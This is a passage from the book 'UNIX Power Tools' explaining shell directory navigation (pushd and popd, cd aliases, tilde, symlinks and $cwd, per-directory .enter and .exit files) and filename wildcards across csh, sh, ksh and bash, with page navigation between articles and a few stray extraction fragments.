The dirs command prints the directory stack. It's a good way to find out where you are. Some people like to put the dirs command in their prompt (7.11), but I personally find incredibly long prompts more annoying than helpful.

The one drawback to pushd and popd is that you can easily build up a gigantic directory stack full of useless directories. I suppose this doesn't really hurt anything, but it's needless clutter. The only way to clear the stack is to popd repeatedly (except, in tcsh, the command dirs&nbsp;-c clears the stack). More to the point, the directories you're most likely to want are at the top of the stack. There's no really convenient way to save them. I mean, with 7 directories in the stack, you could conceivably do something like:

% pushd +5 ; popd ; popd

to get rid of the bottom two elements. The pushd moves the bottom two elements of a 7-directory stack to the top. A bit inconvenient. [Clearing the whole stack is a good use for the C shell repeat (9.25) command. For example, if the stack has 7 directories, type:

% repeat 6 popd

That's an easy way to start over when the stack gets too messy. &ndash;JP&nbsp;]

tcsh has a savedirs shell variable (6.8). If you set savedirs, tcsh will save your directory stack to the file ~/.cshdirs when you log out, and reset the same stack when you log in again.

NOTE: The Korn shell has some similar (but not quite as general) features. It keeps track of your previous working directory, and then defines the special command cd - as "change to the previous working directory."

- ML

Previous: 14.5 Saving Time When You Change Directories: cdpath | UNIX Power Tools | Next: 14.7 Nice Aliases for pushd
14.5 Saving Time When You Change Directories: cdpath | Book Index | 14.7 Nice Aliases for pushd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] 14.7 Nice Aliases for pushd

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 14.6 The Shells' pushd and popd Commands Chapter 14
Moving Around in a Hurry 		Next: 14.8 Quick cds with Aliases

14.7 Nice Aliases for pushd

The pushd command (14.6) is nice for jumping around the filesystem. But some of the commands you might type a lot, like pushd +4, are sort of a pain to type. I saw these aliases (10.2) in Daniel Gilly's setup file. They looked so handy that I decided to steal them for this book. There are C shell versions in the first column and bash in the second:

alias pd pushd                 alias pd=pushd
alias pd2 'pushd +2'           alias pd2='pushd +2'
alias pd3 'pushd +3'           alias pd3='pushd +3'
alias pd4 'pushd +4'           alias pd4='pushd +4'

So, for example, to swap the fourth directory on the stack, just type pd4.

- JP

Previous: 14.6 The Shells' pushd and popd Commands | UNIX Power Tools | Next: 14.8 Quick cds with Aliases
14.6 The Shells' pushd and popd Commands | Book Index | 14.8 Quick cds with Aliases
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] 14.8 Quick cds with Aliases

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 14.7 Nice Aliases for pushd Chapter 14
Moving Around in a Hurry 		Next: 14.9 cd by Directory Initials

14.8 Quick cds with Aliases

If you do a lot of work in some particular directories, it can be handy to make aliases (10.2) that take you to each directory quickly. For example, this C shell alias lets you type pwr to change to the /books/troff/pwrtools directory:

alias pwr cd /books/troff/pwrtools

(If your shell doesn't have aliases, you can use a shell function (10.9). A shell script (1.5) won't work, though, because it runs in a subshell (38.4).)

When you pick the alias names, it's a good idea not to conflict with command names that are already on the system. Article 44.21 shows how to pick a new name.

If you have a lot of these directory-changing aliases, you might want to put them in a separate file named something like .cd_aliases. Then add these lines to your .cshrc file:

source ~
alias setcds source ~/.cd_aliases
setcds

That reads your aliases into each shell. If you edit the .cd_aliases file, you can read the new file into your shell by typing setcds from any directory.

Finally, if you're in a group of people who all work on the same directories, you could make a central alias file that everyone reads from their .cshrc files as they log in. Just use the setup above.

- JP

Previous: 14.7 Nice Aliases for pushd | UNIX Power Tools | Next: 14.9 cd by Directory Initials
14.7 Nice Aliases for pushd | Book Index | 14.9 cd by Directory Initials
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] 14.9 cd by Directory Initials

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 14.8 Quick cds with Aliases Chapter 14
Moving Around in a Hurry 		Next: 14.10 Variables Help You Find Directories and Files

14.9 cd by Directory Initials

Here's a handy shell function called c for people who cd all over the filesystem. (I first saw Marc Brumlik's posting of it on Usenet years ago, as a C shell alias. He and I have both made some changes to it since then.) This function is great for shells that don't have filename completion (9.8). This function works a bit like filename completion, but it's faster because the "initials" only match directories - and you don't have to press TAB or ESC after each part of the pathname. Instead, you just type the initials (first letter, or more) of each directory in the pathname. Start at the root directory. Put a dot (.) after each part.

Here are three examples. The first one shows that there's no subdirectory of root whose name starts with q. The second one matches the directory /usr/include/hsfs and cds there:

$ c q.
c: no match for /q*/.
$ c u.i.h.
/usr/include/hsfs/.
$

In the next example, trying to change to /usr/include/pascal, the abbreviations aren't unique the first time. The function shows me all the matches; the second time, I add another letter ("a") to make the name unique:

$ c u.i.p.
c: too many matches for u.i.p.:
/usr/include/pascal/. /usr/include/pixrect/. /usr/include/protocols/.
$ c u.i.pa.
/usr/include/pascal/.
$

sh_init
csh_init
 The Bourne shell function is straightforward; it's shown below. The C shell alias needs some trickery, and there are two versions of it on the Power Tools disk: one if you already have an alias for cd and another if you don't. (The C shell if (47.3) used in the c alias won't work with a cd alias. Although the csh manual page admits it won't work, I'd call that another C shell bug (47.2).)

set

$#

c()
{
   dir="$1"

   # Delete dots.  Surround every letter with "/" and "*".
   # Add a final "/." to be sure this only matches a directory:
   dirpat="`echo $dir | sed 's/\([^.]*\)\./\/\1*/g'`/."

   # In case $dirpat is empty, set dummy "x" then shift it away:
   set x $dirpat; shift

   # Do the cd if we got one match, else print error:
   if [ "$1" = "$dirpat" ]; then
      # pattern didn't match (shell didn't expand it)
      echo "c: no match for $dirpat" 1>&2
   elif [ $# = 1 ]; then
      echo "$1"
      cd "$1"
   else
      echo "c: too many matches for $dir:" 1>&2
      ls -d "$@"
   fi

   unset dir dirpat
}

The function starts by building a wildcard pattern to match the directory initials. For example, if you type c u.i.h., sed makes the pattern /u*/i*/h*/. in $dirpat. Next, the shell expands the wildcards onto its command-line parameters; the trailing dot makes sure the pattern only matches a directory (as in article 21.12). If the Bourne shell can't match a wildcard pattern, it leaves the pattern unchanged; the first if test spots that. If there was just one match, there'll be one command-line parameter left, and the shell cds there. Otherwise, there were too many matches; the function shows them so you can make your pattern longer and more specific.

- JP

Previous: 14.8 Quick cds with Aliases | UNIX Power Tools | Next: 14.10 Variables Help You Find Directories and Files
14.8 Quick cds with Aliases | Book Index | 14.10 Variables Help You Find Directories and Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] 14.10 Variables Help You Find Directories and Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 14.9 cd by Directory Initials Chapter 14
Moving Around in a Hurry 		Next: 14.11 Finding (Anyone's) Home Directory, Quickly

14.10 Variables Help You Find Directories and Files

A UNIX system can have hundreds or thousands of directories - and a lot more files. Even if you remember all the pathnames, typing them over and over can be a pain.

Your account probably already has some helpful shell and environment variables (6.8, 6.1) set up. You can add more from the command line or from your shell setup files (2.2) (like .cshrc or .profile). To see what environment variables are set, use the env (System V) or printenv (Berkeley) command. The command set should show shell variables (some of these might be repeated in the environment). Here's part of what happens on my account:

% env
HOME=/home/jpeek
MH=/work/jpeek_mail/.mh_profile
PATH=/home/jpeek/.bin:/home/jpeek/.bin/show:/work/bin:...
RNINIT=/home/jpeek/.rnswitches
PAGER=/usr/local/bin/less
% set
active  /usr/lib/news/active
cwd     /home/jpeek/pwrtools
mail    (60 /usr/mail/jpeek)
maillog /usr/spool/smail/log/logfile

UNIX programs use a lot of those environment variables. For instance, my email system finds its setup file from MH. But I can use environment variables for other things, too. For instance, when I want to edit my email setup file, I can type vi $MH from any directory. The shell expands $MH to /work/jpeek_mail/.mh_profile and starts the editor. Check your environment and see what you've got; the names usually explain the variables pretty well.

The shell uses shell variables like $mail. I can check incoming messages with the command tail $mail[2] (25.14, 47.5) (the [2] tells the C shell to pick the second word from the list in $mail).

I've set other shell variables for myself. When I send some mail messages, I want to watch the system mail log to see the message being delivered. I just type:

-f

% tail -f $maillog
   ...
09/08/96 17:13:27: [m0kJN4x-0000AKC] new msg: from jpeek@jpeek.com
09/08/96 17:13:28: [m0kJN4x-0000AKC] <jim> ... delivered
09/08/96 17:13:42: [m0kJN4x-0000AKC] <allan@comex.com> ... delivered

Are there files or directories that you refer to a lot - ones that aren't right for the cdpath (14.5) or a shell alias? Pick a likely shell variable name and add the variable to your .cshrc or .profile. You can store more than one pathname in the same variable - either by separating them with spaces or by using wildcards:

echo
# C shell variables:
set worklog=~/todays_worklog   Single file, defined when set
set projfiles=(/work/beta/data_3.9*)   Many files, defined when set
set currdata='/work/beta/data_5*'   Many files, defined when used
# Bourne shell variables:
worklog=$HOME/todays_worklog   Single file, defined when set
projfiles="`echo /work/beta/data_3.9_*`"   Many files, defined when set
currdata='/work/beta/data_5*'   Many files, defined when used

Then:

  • You could type vi + $worklog any time you want to add a note to the end of the file todays_worklog in your home directory. (The + tells vi to start at the end of the file.)

  • The shell expands the asterisk (*) when it sets the projfiles variable and stores a list of the files as they were when the variable was set. (If the list of files changes, it'll be reset when you start your next shell.) You could print all those files any time you wanted to by typing a command like lpr $projfiles. The C shell also lets you pick individual files (47.5) from the list - for instance, lpr $projfiles[9] would print the ninth file from the list.

  • When the currdata variable is set, the single quotes (") around it prevent expansion (8.14) of the wildcard (*). Instead, the pathname /work/beta/data_5* is expanded when you use the variable - like pg $currdata - to show you the files as they are at the time you use the variable.

You can also use variables to store the paths to directories. Use cd, ls, or any other command with the variables.

- JP

Previous: 14.9 cd by Directory Initials | UNIX Power Tools | Next: 14.11 Finding (Anyone's) Home Directory, Quickly
14.9 cd by Directory Initials | Book Index | 14.11 Finding (Anyone's) Home Directory, Quickly
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] 14.11 Finding (Anyone's) Home Directory, Quickly

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 14.10 Variables Help You Find Directories and Files Chapter 14
Moving Around in a Hurry 		Next: 14.12 Marking Your Place with a Shell Variable

14.11 Finding (Anyone's) Home Directory, Quickly

The C shell, ksh and bash have a shortcut for the pathname to your home directory: a tilde (~), often called "twiddle" by UNIX-heads. You can use ~ in a pathname to the home directory from wherever you are. For example, from any directory, you can list your home directory or edit your .cshrc file in it by typing:

% ls ~
   ...
% vi ~/.cshrc

Bourne shell users - try the $HOME or $LOGDIR variables instead.

You could change your current directory to your home directory by typing cd ~ or cd $HOME although all shells have a shorter shortcut: typing plain cd with no argument also takes you home.

If your shell understands the tilde, it should also have an abbreviation for other users' home directories: a tilde with the username on the end. For example, the home directory for mandi, which might really be /usr3/users/mfg/mandi, could be abbreviated ~mandi. On your account, if Mandi told you to copy the file named menu.c from her src directory, you could type:

% cp ~mandi/src/menu.c .

Don't confuse this with filenames like report~. Some programs, like the GNU Emacs (32.4) editor, create temporary filenames that end with a ~ (tilde).

The Bourne shell doesn't have anything like ~mandi. Here's a trick that's probably too ugly to type a lot - but it's useful in Bourne shell scripts, where you don't want to "hardcode" users' home directory pathnames. This command calls the C shell to put mandi's home directory pathname into $dir:

username=mandi
dir=`csh -fc "echo ~$username"`

The tilde is a good thing to use in your shell setup files (2.2), too.

- JP

Previous: 14.10 Variables Help You Find Directories and Files | UNIX Power Tools | Next: 14.12 Marking Your Place with a Shell Variable
14.10 Variables Help You Find Directories and Files | Book Index | 14.12 Marking Your Place with a Shell Variable
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] 14.12 Marking Your Place with a Shell Variable

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 14.11 Finding (Anyone's) Home Directory, Quickly Chapter 14
Moving Around in a Hurry 		Next: 14.13 Which Directory Am I in, Really?

14.12 Marking Your Place with a Shell Variable

The following alias will store the current directory name in a variable:

alias mark 'set \!:1=$cwd'

so as to use a feature of the C shell:

% mark here
   ...
% cd here

One need not even type $here. If a directory does not exist, csh tries searching its cdpath (14.5), then tries evaluating the name as a variable (6.8, 6.9).

(I generally use pushd and popd (14.6) to store directory names; mark is more useful with commands that need to look in two different paths, and there $here is necessary anyway. Ah well.)

[In bash, you can do this by setting the cdable_vars variable. (Put cdable_vars=1 in your shell setup file (2.2).) -JP]

- CT in comp.unix.wizards on Usenet, 14 February 1987

Previous: 14.11 Finding (Anyone's) Home Directory, Quickly | UNIX Power Tools | Next: 14.13 Which Directory Am I in, Really?
14.11 Finding (Anyone's) Home Directory, Quickly | Book Index | 14.13 Which Directory Am I in, Really?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] 14.13 Which Directory Am I in, Really?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 14.12 Marking Your Place with a Shell Variable Chapter 14
Moving Around in a Hurry 		Next: 14.14 Automatic Setup When You Enter/Exit a Directory

14.13 Which Directory Am I in, Really?

The C shell, and some other shells too, keep their own idea of what your current directory is. The csh will give you the current directory's absolute pathname in $cwd; bash uses $PWD. But sometimes this can give you the wrong pathname.

Why? Because the cwd variable was added before many versions of UNIX had symlinks (18.4) (symbolic links). As article 18.7 explains, symlinks can point to directories any place else on the filesystem or even (for some UNIXes) directories on another computer. Poor cwd couldn't cope: it assumed that the current directory was the name of the symlink itself (instead of the directory that the link points to). That led to problems like the one below: cding to a "directory" named wpa that's actually a symlink to /work/pwrtools/articles. The value of $cwd, shown in the prompt, is wrong. The /bin/pwd command shows the real current directory (14.4) (you should type all of /bin/pwd because some shells and users have plain pwd aliased to do echo $cwd):

/home/jerry% pwd
/home/jerry% ls -l wpa
lrwxrwxrwx  1 jerry  23 Sep 8 13:55 wpa -> /work/pwrtools/articles
/home/jerry% cd wpa
/home/jerry/wpa% /bin/pwd
/work/pwrtools/articles
/home/jerry/wpa%

By now, a lot of C shells have a variable named hardpaths; the bash variable is nolinks. If you set the shell variable (usually in your shell setup file (2.2)), the shell won't be fooled by symlinks. Watch:

/home/jerry/wpa% cd
/home/jerry% set hardpaths      (on bash, nolinks=1)

/home/jerry% cd wpa
/work/pwrtools/articles%

Setting hardpaths or nolinks makes the shell do extra work, so don't bother with it unless you use $cwd.

The dirs (14.6) command has the same problem. Setting hardpaths or nolinks helps there, too.

If your system has symlinks but your shell doesn't recognize a variable like hardpaths, here are workarounds for the .cshrc file:

alias setprompt 'set prompt="${cwd}% "'
alias cd        'chdir \!* && set cwd=`/bin/pwd` && setprompt'
alias pushd     'pushd \!* && cd .'
alias popd      'popd \!* && cd .'

When you cd, that alias resets the cwd variable to the output of /bin/pwd, then resets the prompt to the new cwd. Using pushd or popd (14.6) runs the cd alias, too - this changes to the current directory (.), which fixes cwd (as well as the dirs command) and resets the prompt.

Whew. Are symlinks worth the work? (I think they are.)

- JP

Previous: 14.12 Marking Your Place with a Shell Variable | UNIX Power Tools | Next: 14.14 Automatic Setup When You Enter/Exit a Directory
14.12 Marking Your Place with a Shell Variable | Book Index | 14.14 Automatic Setup When You Enter/Exit a Directory
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 14] 14.14 Automatic Setup When You Enter/Exit a Directory

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 14.13 Which Directory Am I in, Really? Chapter 14
Moving Around in a Hurry 		Next: 15. Wildcards

14.14 Automatic Setup When You Enter/Exit a Directory

If you work in a lot of different directories, here's a way to make the shell do automatic setup when you enter a directory or cleanup as you leave. We've broken it onto two lines for printing; enter it as one line. On bash, make a shell function instead; there's also a Korn shell version on the disc:

alias cd 'if (-o .exit.csh) source .exit.csh; chdir \!*;
    if (-o .enter.csh) source .enter.csh'

cd() {
   test -r .exit.sh && . .exit.sh
   builtin cd "$1"                  # builtin is a bash command
   test -r .enter.sh && . .enter.sh
}

Then create .enter.csh and/or .exit.csh files in the directories where you want a custom setup. Bourne-type shell users, make .enter.sh and/or .exit.sh files instead. When you cd to a new directory, an .exit file is sourced (44.23) into your current shell before you leave the old directory. As you enter the new directory, an .enter file will be read if it exists. If you use pushd and popd (14.6), you'll probably want to make the same kind of aliases or functions for them.

The C shell alias tests to be sure you own the files; this helps to stop other users from leaving surprises for you! But if lots of users will be sharing the directory, they may all want to share the same files - in that case, replace the - o tests with -r (true if the file is readable). Article 47.4 describes C shell tests like -o; in sh-like shells, use test (44.20) (the bash ownership test operator is -O).

Here's a sample .enter.csh file:

umask

# Save previous umask; reset in .exit.csh:
set prevumask=`umask`

# Let everyone in the group edit my files here:
umask 002
echo ".enter.csh: setting umask to 002"
# Prompt (with blank line before) to keep me awake:
set prompt="\
$cwd - PROJECT DEVELOPMENT DIRECTORY.  EDIT CAREFULLY...\
% "

and the .exit.csh to go with it:

if $?

setprompt
# .enter.csh file may put old umask in shell variable:
if ($?prevumask) then
   umask $prevumask

   echo ".exit.csh: setting umask to $prevumask"
   unset prevumask
endif
# Reminder to come back here if need to:
echo "If you didn't check in the RCS files, type 'cd $cwd'."
# Set generic prompt (setprompt alias comes from .cshrc file):
setprompt

NOTE: The umask set in the .enter file for some directory will also set the permissions for files you create in other directories with commands that use pathnames - like vi /somedir/somefile.

Can more than one of your directories use the same .enter or .exit file? If they can, you'll save disk space and redundant editing by making hard links (18.4) between the files. If the directories are on different filesystems, you'll have to use a symbolic link (18.4)- though that probably won't save disk space. If you link the files, you should probably add a comment that reminds you of the links when you make your next edit. When your .enter files get really long, you might be able to put a command like this in them:

source
source ~/.global_enter

where the .global_enter file in your home directory has a procedure that you want to run from a lot of your .enter files. (Same goes for .exit, of course.)

One last idea: if a lot of users share the same directory, they can make files with names like .enter.joanne, .exit.allan, and so on. Your aliases can test for a file named .enter. $user (6.9) (if your UNIX has a 14-character filename limit, you'll need a shorter name).

- JP

Previous: 14.13 Which Directory Am I in, Really? | UNIX Power Tools | Next: 15. Wildcards
14.13 Which Directory Am I in, Really? | Book Index | 15. Wildcards
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 15] Wildcards

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 14.14 Automatic Setup When You Enter/Exit a Directory Chapter 15 Next: 15.2 Filename Wildcards in a Nutshell

15. Wildcards

Contents:
File Naming Wildcards
Filename Wildcards in a Nutshell
Adding { } Operators to Korn (and Bourne) Shells
What if a Wildcard Doesn't Match?
Matching All "Dot Files" with Wildcards
Maybe You Shouldn't Use Wildcards in Pathnames
Getting a List of Matching Files with grep -l
Getting a List of Non-Matching Files with grep -c
nom: List Files that Don't Match a Wildcard
Wildcards that Match Only Directories

15.1 File Naming Wildcards

Wildcards (1.16) are the shell's way of abbreviating filenames. Just as in poker, where a wildcard is a special card that can match any card in the deck, filename wildcards are capable of matching letters, or groups of letters, in the alphabet. Rather than typing a long filename, or a long chain of filenames, a wildcard lets you provide parts of names, and then use some "wildcard characters" for the rest. For example, if you want to delete all files whose names end in .o, you can give the command:

% rm *.o

You don't have to list every filename.

I'm sure you already know that wildcards are useful in many situations. If not, they are summarized in article 15.2. Here are a few of my favorite wildcard applications:

  • If you remember part of a filename, but not the whole name, you can use wildcards to help you find it. If I have a file on genetics saved in a directory with several hundred other files, a command like:

    % ls *gene*

    will often find what I want. It's quicker and easier than find (17.1).

  • Wildcards are a natural when you want to work with groups of files. If I have a general purpose directory that's full of filenames ending in .c and .h, I can make new subdirectories and use wildcards to move the files easily:

    % mkdir c h
% mv *.c c
% mv *.h h

  • Wildcards often help you to work with files with inconvenient characters in their names. Let's say you have a file named abcxe, where x is some unknown control character. You can delete or rename that file by using the wildcarded name abc?e. (When you do this, be careful that your wildcard doesn't match more than you intend.)

  • Wildcards can appear in any component of a pathname. This can often be used to your advantage. For example, let's say that you have a directory named /work, split into subdirectories for a dozen different projects. For each project, you have a schedule, in a file called (obviously enough) schedule.txt. You can print all the schedules with the command:

    % lpr /work/*/schedule.txt   BSD UNIX
% lp  /work/*/schedule.txt   System V UNIX

    (However, you can occasionally run into problems (15.6).)

It's a common misconception, particularly among new users, that application programs and utilities have something to do with wildcards. Given a command like grep ident *.c, many users think that grep handles the * and looks to see which files have names that end in .c. If you're at all familiar with UNIX's workings, you'll realize that this is the wrong picture. The shell interprets wildcards. That is, the shell figures out which files have names ending in .c, puts them in a list, puts that list on the command line, and then hands that command line to grep. As it processes the command line, the shell turns grep ident *.c into grep ident file1.c file2.c ....

Since there are several shells, one might think (or fear!) that there should be several different sets of wildcards. Fortunately, there aren't. The C shell has made one significant extension (the curly brace operators (9.5)), and the Korn shell has made a few more, but the basic wildcards work the same for all shells.

- ML

Previous: 14.14 Automatic Setup When You Enter/Exit a Directory | UNIX Power Tools | Next: 15.2 Filename Wildcards in a Nutshell
14.14 Automatic Setup When You Enter/Exit a Directory | Book Index | 15.2 Filename Wildcards in a Nutshell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 15] 15.2 Filename Wildcards in a Nutshell

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 15.1 File Naming Wildcards Chapter 15
Wildcards 		Next: 15.3 Adding { } Operators to Korn (and Bourne) Shells

15.2 Filename Wildcards in a Nutshell

This section summarizes the wildcards that are used for filename expansion. The shells use the same basic wildcards, though csh, tcsh, ksh, and bash have some extensions. Unless otherwise noted, assume that wildcards are valid for all shells.

*

Match zero or more characters. For example, a* matches the files a, ab, abc, abc.d, and so on.

?

Match exactly one character. For example, a? matches aa, ab, ac, etc.

[12..a..z]

Match any character listed in the brackets. For example, a[ab] matches aa or ab.

[a-z]

Match all characters between a and z. For example, a[0-9] matches a0, a1, and so on, up to a9.

[!ab..z]

Match any character that does not appear within the brackets. For example, a[!0-9] doesn't match a0, but does match aa. bash, Korn, and newer Bourne shells only.

[^ab..z]

Match any character that does not appear within the brackets. For example, a[^0-9] doesn't match a0, but does match aa. tcsh only.

{word1,word2...}

Match word1, word2, etc. E.g., a_{dog,cat,horse} matches the filenames a_dog, a_cat, and a_horse. bash and C shells only. These (9.5) actually aren't filename-matching wildcards. They expand any string, including filenames that don't exist yet, email addresses, and more.

?(abc)

Match zero or one instance of abc. For example, x?(abc)x matches xx or xabcx. Korn shell only.

*(abc)

Match zero or more instances of abc. For example, x*(abc)x matches xx, xabcx, xabcabcx, etc. Korn shell only.

+(abc)

Match one or more instances of abc. For example, x+(abc)x matches xabcx, xabcabcx, etc. Korn shell only.

!(abc)

Match anything that doesn't contain abc. For example, x!(abc)x doesn't match xabcx or xabcabcx, but does match practically anything else that begins or ends with x. Korn shell only.

^pat

Match any name that doesn't match pat. pat must include at least one of the wildcards *, ? and []. To match all except a single name, here's a trick: put brackets around one character. For instance, you can match all except abc with ^ab[c]. tcsh only. (For other shells, see nom (15.9).)

Note: wildcards do not match files whose names begin with a dot (.), like .cshrc. [1] This prevents you from deleting (or otherwise mucking around with) these files by accident. To match those files, type the dot literally. For example, .[a-z]* matches anything whose name starts with a dot and a lowercase letter. Watch out for plain .*, though; it matches the directory entries . and .. (see article 15.5 for suggestions on solving that problem).

[1] Setting the bash variable glob_dot_filenames includes these names in wildcard expansion.

And a final note: many operating systems (VAX/VMS and DOS included) consider a file's name and extension to be different entities; therefore, you can't use a single wildcard to match both. What do I mean? Consider the file abc.def. Under DOS or VMS, to match this filename you'd need the wildcard expression *.*. The first * matches the name (the part before the period), and the second matches the extension (the part after the period). Although UNIX uses extensions, they aren't considered a separate part of the filename, so a single * will match the entire name.

- ML, JP

Previous: 15.1 File Naming Wildcards | UNIX Power Tools | Next: 15.3 Adding { } Operators to Korn (and Bourne) Shells
15.1 File Naming Wildcards | Book Index | 15.3 Adding { } Operators to Korn (and Bourne) Shells
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 15] 15.3 Adding { } Operators to Korn (and Bourne) Shells

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 15.2 Filename Wildcards in a Nutshell Chapter 15
Wildcards 		Next: 15.4 What if a Wildcard Doesn't Match?

15.3 Adding { } Operators to Korn (and Bourne) Shells

The bash and C shell curly brace operators (9.5) are handy for working with strings. Some versions of the Korn shell can be configured to make these work. [2] If your Korn shell can't do that, or if you use the Bourne shell, you can use the shell function (10.9) called qcsh. (You can rewrite it as a shell script (44.2) if your shell doesn't have functions.) It writes the command line you type into a temporary file, then gives the file to the C shell. [3] Type qcsh, a space, and the command line you want to run. Here are two examples from article 9.5: to fix a typo in a filename (change fixbold61.c to fixbold6.c):

[2] If your system has Korn shell sources, your system administrator can edit the file OPTIONS and set BRACEPAT=1, then recompile.

[3] In some versions of UNIX, passing the command line to the C shell with csh -fc "$@" wouldn't expand the braces. That's why I used a temporary file.

$ qcsh mv fixbold{61,6}.c

To edit ten new files that don't exist yet:

$ qcsh vi /usr/foo/file{a,b,c,d,e,f,g,h,i,j}

Here's the function:

-f

qcsh()
{
    echo "$@" > /tmp/q$$
    csh -f /tmp/q$$
    rm -f /tmp/q$$
}

- JP

Previous: 15.2 Filename Wildcards in a Nutshell | UNIX Power Tools | Next: 15.4 What if a Wildcard Doesn't Match?
15.2 Filename Wildcards in a Nutshell | Book Index | 15.4 What if a Wildcard Doesn't Match?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 15] 15.4 What if a Wildcard Doesn't Match?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 15.3 Adding { } Operators to Korn (and Bourne) Shells Chapter 15
Wildcards 		Next: 15.5 Matching All "Dot Files" with Wildcards

15.4 What if a Wildcard Doesn't Match?

I ran into a strange situation the other day. I was compiling a program that was core dumping (52.9). At some point, I decided to delete the object files and the core file, and start over, so I gave the command:

% rm *.o core

It works as expected most of the time, except when no object files exist. (I don't remember why I did this, but it was probably by using !! (11.7) when I knew there weren't any .o's around.) In this case, you get No match, and the core file is not deleted.

It turns out, for C shell users, that if none of the wildcards can be expanded, you get a No match error. It doesn't matter that there's a perfectly good match for other name(s). That's because, when csh can't match a wildcard, it aborts and prints an error - it won't run the command. If you create one .o file or remove the *.o from the command line, core will disappear happily.

On the other hand, if the Bourne shell can't match a wildcard, it just passes the unmatched wildcard and other filenames:

*.o core

to the command (in this case, to rm) and lets the command decide what to do with it. So, with Bourne shell, what happens will depend on what your command does when it sees the literal characters *.o.

You can make csh act a lot like sh by using:

set nonomatch

- ML, JP

Previous: 15.3 Adding { } Operators to Korn (and Bourne) Shells | UNIX Power Tools | Next: 15.5 Matching All "Dot Files" with Wildcards
15.3 Adding { } Operators to Korn (and Bourne) Shells | Book Index | 15.5 Matching All "Dot Files" with Wildcards
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 15] 15.5 Matching All "Dot Files" with Wildcards

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 15.4 What if a Wildcard Doesn't Match? Chapter 15
Wildcards 		Next: 15.6 Maybe You Shouldn't Use Wildcards in Pathnames

15.5 Matching All "Dot Files" with Wildcards

If you want to match all files in a directory whose names do not start with a dot (.), it's easy: just use an asterisk (*). But what about files that do start with a dot? That's harder because dot-asterisk (.*) matches the directory links named . and .. that are in every directory; you usually won't want to match those.

The Korn and some Bourne shells, as well as bash, let you use the sequence .[!.]* to match all dot files, where [!.] means "anything but a dot." tcsh understands .[^.]* instead.

Otherwise, what can you do? You can use .??*, which matches all filenames that start with a dot and have at least two characters, but that doesn't match filenames like .a with just one character after the dot. Here's the answer:

.[^A--0-^?]*

That expression matches all filenames whose second character is in the ASCII chart (51.3) but isn't a dot or a slash (/). The range starts with CTRL-a (^A is an actual CTRL-a character, not the two characters ^ and A) and runs through a dash (-). Then it covers the range from zero (0) through DEL or CTRL-? (make by pressing your DELETE or RUBOUT key; you may have to type CTRL-v or a backslash (\) first).

Yuck - that's sort of complicated. To make it easy, I set that sequence in a shell variable named dots from my shell setup file (2.2). Here are three versions; the third is for shells whose built-in echo doesn't understand \nnn sequences:

set dots=".[`echo Y-0-Z | tr YZ \\001\\177`]"   csh
dots=".[`echo \\\\001-0-\\\\0177`]*"   sh, etc.
dots=".[`echo Y-0-Z | tr YZ \\001\\177`]*"   sh with old echo

(The tr command in backquotes (9.16) turns the expression Y--0-Z into the range with CTRL-a and DEL that we want. That keeps ugly, unprintable characters out of the .cshrc file. See article 45.35.) So, for example, I could move all files out of the current directory to another directory by typing:

% mv * $dots /somedir

- JP

Previous: 15.4 What if a Wildcard Doesn't Match? | UNIX Power Tools | Next: 15.6 Maybe You Shouldn't Use Wildcards in Pathnames
15.4 What if a Wildcard Doesn't Match? | Book Index | 15.6 Maybe You Shouldn't Use Wildcards in Pathnames
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


